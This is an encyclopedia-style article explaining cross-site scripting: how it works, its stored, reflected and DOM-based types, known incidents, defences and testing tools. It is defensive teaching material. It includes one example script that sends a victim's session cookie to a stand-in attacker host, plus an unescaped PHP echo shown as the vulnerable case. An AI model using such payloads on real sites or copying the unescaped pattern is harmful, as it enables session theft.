Cross-site scripting

Cross-Site Scripting (XSS) is a type of cybersecurity vulnerability found in web applications that allows attackers to inject malicious scripts—usually written in JavaScript—into web pages viewed by other users. When executed in the victim’s browser, these scripts can steal sensitive information, manipulate web sessions, or impersonate legitimate users. XSS is among the most common web security flaws and is listed as a major threat in the OWASP Top Ten Web Application Security Risks.

Nature and Definition

Cross-Site Scripting occurs when a web application fails to properly validate or sanitise user input before displaying it back to users. The malicious code injected by an attacker is then executed in the browsers of other users who access the affected web page. This allows attackers to bypass access controls, hijack sessions, deface websites, or redirect users to malicious sites.
The term “cross-site” reflects that the script originates from a different source than the trusted website but is executed within the context of that website, thereby violating the same-origin policy, which normally restricts such cross-domain interactions.

Mechanism of Attack

An XSS attack typically involves three steps:

1. Injection: The attacker injects malicious code (often JavaScript) into a vulnerable input field or URL parameter.
2. Execution: The web server or application fails to sanitise the input and returns it to the browser as part of the page content.
3. Exploitation: When the page loads, the malicious script executes in the victim’s browser, performing unauthorised actions such as cookie theft, keylogging, or phishing.

For example, a vulnerable website might display a comment entered by a user without filtering harmful code. If an attacker posts:

<script>document.location=’http://attacker.com/steal?cookie=’+document.cookie</script>

any visitor viewing that comment could unknowingly send their session cookie to the attacker’s server.

Types of Cross-Site Scripting

1. Stored (Persistent) XSS: Occurs when malicious scripts are permanently stored on a server (e.g., in a database, message forum, or comment field). Every time the infected content is viewed, the script executes in users’ browsers. This is the most damaging form, as it affects multiple users.
2. Reflected (Non-Persistent) XSS: Occurs when user-supplied input (such as data in a URL or form submission) is immediately echoed back by the server in an error message, search result, or other response without proper sanitisation. The malicious script executes only when the user clicks a specially crafted link.
3. DOM-Based XSS: Occurs entirely on the client side within the Document Object Model (DOM). In this case, the vulnerability arises from JavaScript code running in the browser that processes untrusted data, enabling script execution without any new page load from the server.

Real-World Examples

• MySpace Samy Worm (2005): A famous XSS worm spread across MySpace by injecting a script into user profiles, adding “Samy is my hero” to millions of accounts within hours.
• Yahoo Mail XSS (2013): Attackers exploited an XSS flaw in Yahoo’s webmail service to steal cookies and hijack user sessions.
• eBay and Facebook Incidents: Periodically discovered vulnerabilities in large platforms demonstrated how XSS could be exploited to distribute malicious links or steal user data.

Impact and Consequences

The effects of a successful XSS attack depend on the attacker’s objectives and the sensitivity of the targeted application. Consequences may include:

• Session Hijacking: Stealing cookies or tokens to impersonate users.
• Credential Theft: Capturing usernames and passwords through fake login forms.
• Website Defacement: Injecting unauthorised messages or advertisements.
• Phishing and Redirection: Redirecting victims to malicious websites.
• Data Manipulation: Altering displayed content or transmitting confidential data to third-party servers.
• Malware Distribution: Forcing browsers to download and execute harmful scripts.

Prevention and Mitigation

Mitigating XSS vulnerabilities requires a combination of secure coding practices, input validation, and browser-level protections. Key defences include:
1. Input Validation and Output Encoding: All user-supplied data should be validated and encoded before being displayed in web pages. Output encoding converts special characters (e.g., <, >, &, “) into safe HTML entities, preventing them from being interpreted as code.
2. Content Security Policy (CSP): A CSP header allows site administrators to specify which sources of scripts are trusted. Browsers will block any unauthorised inline or external scripts, significantly reducing the risk of XSS execution.
3. Escaping Untrusted Data: When inserting user data into HTML, JavaScript, or URLs, developers should escape characters contextually (for example, escaping < and > in HTML but also quotes in JavaScript).
4. Input Sanitisation Libraries: Use frameworks and libraries that automatically sanitise user inputs—such as React or Angular—which incorporate built-in defences against XSS attacks.
5. Avoiding Dangerous Functions: Avoid directly using methods such as innerHTML, document.write(), or eval() in JavaScript, as they can execute arbitrary code from untrusted input.
6. HTTP-Only and Secure Cookies: Marking cookies as HttpOnly and Secure prevents them from being accessed by JavaScript and reduces the impact of session hijacking.
7. Regular Security Audits: Routine code reviews, penetration testing, and automated scanning help identify XSS vulnerabilities before attackers exploit them.

Detection and Testing

Security analysts and developers use both manual testing and automated vulnerability scanners to detect XSS flaws. Tools such as Burp Suite, OWASP ZAP, and Acunetix can simulate injection attempts and highlight unsafe parameters.
Developers also implement fuzz testing—submitting unexpected or malicious inputs to identify inadequate input sanitisation. Modern web browsers include developer tools that warn about insecure content or mixed-scripting vulnerabilities.

Defensive Coding Example

A vulnerable PHP code example:

<?php
echo “Hello ” . $_GET[“name”];
?>

An attacker could inject a script using ?name=<script>alert(‘XSS’)</script>.
A secure version should use output encoding:

<?php
echo “Hello ” . htmlspecialchars($_GET[“name”], ENT_QUOTES, ‘UTF-8’);
?>

This ensures any HTML tags are rendered harmless by converting them to safe entities.

Industry Standards and Best Practices

Global security organisations emphasise best practices to combat XSS:

• The OWASP (Open Web Application Security Project) recommends continuous validation, encoding, and the implementation of CSP.
• ISO/IEC 27034 outlines application security techniques, including prevention of injection flaws like XSS.
• CWE-79 (Common Weakness Enumeration) identifies XSS as a top software weakness, promoting awareness and mitigation strategies.

Relationship to Other Attacks

Cross-site scripting shares similarities with other injection attacks, such as SQL Injection or Cross-Site Request Forgery (CSRF), but differs in that it targets the user’s browser rather than the server directly. Often, XSS vulnerabilities are combined with CSRF to perform complex exploitation, such as automatic fund transfers or unauthorised account actions.